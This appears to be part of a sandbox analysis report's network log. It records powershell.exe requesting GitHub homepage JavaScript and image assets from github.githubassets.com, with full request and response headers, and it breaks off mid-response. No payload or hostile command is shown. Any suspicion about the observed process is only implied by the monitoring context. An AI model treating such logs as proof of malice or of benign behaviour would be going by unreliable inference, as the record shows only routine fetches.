X-Fastly-Request-ID: 91302844ae4d81cd3afcc5f6c809e1f50cfc5ac1
GET

https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-d2119e75298d.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-d2119e75298d.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 4459
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Mon, 24 Jul 2023 18:59:07 GMT
ETag: "2b6d95506cb1f419137996e8232577dd"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:33 GMT
Age: 795459
X-Served-By: cache-iad-kjyo7100064-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 12, 9495
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: f58dd00d85d3f5de2eed28177cd29f91c34e003b
GET

https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-8873b7-5771678648e0.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-8873b7-5771678648e0.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3713
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Thu, 27 Apr 2023 21:10:32 GMT
ETag: "cc3b9d72861037e13bd0d0be98ef5ace"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:33 GMT
Age: 795459
X-Served-By: cache-iad-kiad7000138-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 16, 9328
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: e1a09b7eec9e9fba882567de26f3eee086389319
GET

https://github.githubassets.com/assets/github-elements-1ff8b48eef26.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/github-elements-1ff8b48eef26.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 12625
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Mon, 14 Aug 2023 17:04:53 GMT
ETag: "fcf7372206641adcc10855761a007edb"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:33 GMT
Age: 795462
X-Served-By: cache-iad-kjyo7100073-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 20, 9751
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: c98f7a014dfe1bce963608c76f28f6183646b137
GET

https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 4085
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Tue, 07 Feb 2023 02:44:30 GMT
ETag: "29b126d180066f2cd72287a725af3dce"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:33 GMT
Age: 123998
X-Served-By: cache-iad-kjyo7100115-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 33, 7034
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 17a1acd5ea6eae5c7a8456eeafc0c426cd530f7d
GET

https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-b1fdd7158cf0.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-b1fdd7158cf0.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 2149
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Wed, 14 Jun 2023 00:01:04 GMT
ETag: "0776e8489cdd6d6238a0ba666829c3fb"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 123999
X-Served-By: cache-iad-kiad7000155-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 15, 6852
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 916ffb5126b9fa62cd0922db9c53f2ce18342b48
GET

https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-1f4793023fcd.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-1f4793023fcd.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 19920
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Sat, 08 Jul 2023 14:51:38 GMT
ETag: "55dc85b1fc0c9d278a3c7abe09b9bf92"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 123999
X-Served-By: cache-iad-kiad7000104-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 26, 7633
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: db9c95eea6a68695ef38b311cf9e7eacd0e15f7b
GET

https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 5084
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Thu, 23 Feb 2023 16:38:21 GMT
ETag: "9dc040f59be2a61a2c9e74568e81a859"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 124001
X-Served-By: cache-iad-kjyo7100050-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 9, 7058
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: dcb1d97b9995cf84f1331a23f6fe1549c92fbbf5
GET

https://github.githubassets.com/assets/app_assets_modules_github_details-dialog_ts-app_assets_modules_github_fetch_ts-9ca164041015.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/app_assets_modules_github_details-dialog_ts-app_assets_modules_github_fetch_ts-9ca164041015.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3794
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Mon, 14 Aug 2023 17:04:41 GMT
ETag: "a416c299ea936d3e5c20cb1d5e1e578b"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 124004
X-Served-By: cache-iad-kjyo7100117-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 17, 7141
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: ee3a58f9cf90512902c4ceab930ba91621f65b35
GET

https://github.githubassets.com/assets/app_assets_modules_github_onfocus_ts-app_assets_modules_github_sticky-scroll-into-view_ts-b88dcdb1ae32.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/app_assets_modules_github_onfocus_ts-app_assets_modules_github_sticky-scroll-into-view_ts-b88dcdb1ae32.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3725
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Fri, 08 Sep 2023 08:56:43 GMT
ETag: "ee3aba9b8890b893c72a33ddaf776659"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 124003
X-Served-By: cache-iad-kcgs7200152-IAD, cache-ams21066-AMS
X-Cache: MISS, HIT
X-Cache-Hits: 0, 7745
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: ef385fb07faa8b8f59aa051957a412307ae73115
GET

https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-2e2258-f7b8ad0ef997.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-2e2258-f7b8ad0ef997.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 4850
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Fri, 18 Aug 2023 20:41:41 GMT
ETag: "8b0978efb29a29004bb5a15fd359d6cc"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 124004
X-Served-By: cache-iad-kiad7000167-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 26, 7274
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 51d9d2761a0519376a1e439fe2cefd329e0d5394
GET

https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-c96432-b9f980134541.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-c96432-b9f980134541.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 2720
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Wed, 09 Aug 2023 16:25:12 GMT
ETag: "4719602c2853b4c9da5fc5621936e32f"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 124004
X-Served-By: cache-iad-kjyo7100121-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 12, 7677
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: c2065811830b56afc57a60372b050fea36afbaae
GET

https://github.githubassets.com/assets/behaviors-7436dd4fb020.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/behaviors-7436dd4fb020.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 61426
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Sat, 16 Sep 2023 00:53:01 GMT
ETag: "774c9c698bc9666aa28d1c5ba09b660a"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 139603
X-Served-By: cache-iad-kiad7000073-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 56, 10879
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 79f90a85aff665fae0a41144b9adb47fb849efc9
GET

https://github.githubassets.com/assets/notifications-global-f57687007bfc.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/notifications-global-f57687007bfc.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3486
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Mon, 26 Jun 2023 18:54:54 GMT
ETag: "0eaf2df0863932cda9d7aa564202c529"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 124003
X-Served-By: cache-iad-kjyo7100032-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 10, 6983
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 5197b53ceec9f09f70f7baf0e3d6ea185c2d6f50
GET

https://github.githubassets.com/assets/marketing-491859bb3d7a.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/marketing-491859bb3d7a.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 6301
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Mon, 14 Aug 2023 17:04:56 GMT
ETag: "e96c7d41a1b9361650ab468bd8115459"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 2932349
X-Served-By: cache-iad-kiad7000021-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 45, 16952
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 569a55d4dd9c95eef147149b4a30d2b093dda045
GET

https://github.githubassets.com/assets/vendors-node_modules_github_webgl-globe_dist_js_main_js-e462b6d5b399.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_github_webgl-globe_dist_js_main_js-e462b6d5b399.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 150907
Cache-Control: public, max-age=31536000
Last-Modified: Fri, 01 Sep 2023 18:55:08 GMT
ETag: "d2947da01bc96b3607a58061b745dba1"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 1341091
X-Served-By: cache-iad-kiad7000069-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 610234, 4
Vary: Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: dd90d60695ef1ceb2c95bec1f2a150dccde4e7ad
GET

https://github.githubassets.com/assets/sessions-9bc1a064363e.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/sessions-9bc1a064363e.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 4271
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Thu, 07 Sep 2023 22:31:17 GMT
ETag: "c45bf02fa6d1c617940608ba3376678b"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 124002
X-Served-By: cache-iad-kjyo7100085-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 14, 5835
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: b3620e131bb8103cb878fc8d851ae39e68cc580c
GET

https://github.githubassets.com/images/modules/site/home-campaign/hero-drone.webp

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/hero-drone.webp HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 41736
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/webp
Etag: "b2y8hgdNkalDacF82hgKoXLV/FhdPpYnW0Ya3vafX18"
Fastly-Io-Info: ifsz=42344 idim=500x326 ifmt=webp ofsz=41736 odim=500x326 ofmt=webp
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 1629
X-Served-By: cache-iad-kjyo7100144-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 72685, 10
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 0a4b9e971c3382f138c9f2e312a6fdb9749901f8
GET

https://github.githubassets.com/images/modules/site/home-campaign/lines-hero.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/lines-hero.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 4681
Last-Modified: Thu, 27 Oct 2022 14:15:22 GMT
ETag: "39591b8a7c3100f55d6cf7da4243c585"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 4620
X-Served-By: cache-iad-kiad7000021-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 42875, 19
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 104e661c3e155839537f6f8b9d394c5f4dcf6fae
GET

https://github.githubassets.com/images/modules/site/home-campaign/logos/stripe.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/logos/stripe.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 2099
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Last-Modified: Mon, 07 Nov 2022 10:15:20 GMT
ETag: "da0842d5850f142b682f1829b10f983e"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 1873
X-Served-By: cache-iad-kjyo7100173-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 79394, 6
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 549444d9224dc00c3bef7172589101da6d3d5f76
GET

https://github.githubassets.com/images/modules/site/home-campaign/logos/pinterest.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/logos/pinterest.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 6970
Last-Modified: Mon, 07 Nov 2022 10:15:20 GMT
ETag: "854659be8acc471b48aadc148a8226d8"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 4792
X-Served-By: cache-iad-kjyo7100146-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 51471, 19
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
